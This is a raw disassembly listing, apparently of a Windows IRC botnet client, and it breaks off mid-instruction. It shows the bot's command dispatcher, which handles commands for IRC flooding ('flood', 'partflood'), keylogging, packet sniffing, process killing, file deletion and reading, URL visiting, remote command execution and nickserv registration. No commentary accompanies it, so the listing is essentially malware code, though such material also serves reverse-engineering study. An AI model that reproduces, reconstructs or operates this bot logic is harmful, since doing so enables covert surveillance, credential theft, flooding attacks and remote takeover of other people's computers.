[ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 2690579h jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 2690CE2h push eax push offset unk_42B56C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE call near ptr 26A0D63h nop push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B504 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B4E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4D4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 nop call near ptr 26A0D63h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B464 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B450 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B44C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF call near ptr 26A0D63h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B424 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3C4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D400C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB00C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA72C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B34C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B24C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B21C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 2690579h jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj nop call near ptr 2690CE2h push eax push offset dword_42B1E0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B178 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B150 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B120 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h call near ptr 2690579h nop jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj nop call near ptr 2690CE2h push eax push offset unk_42B0E4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B074 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B04C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B020 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx nop call near ptr 26905D4h imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz loc_40828B nop call near ptr 2690CE2h push eax push offset dword_42AFEC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFB4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AF94 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF48 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF1C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AEFC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AED8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset 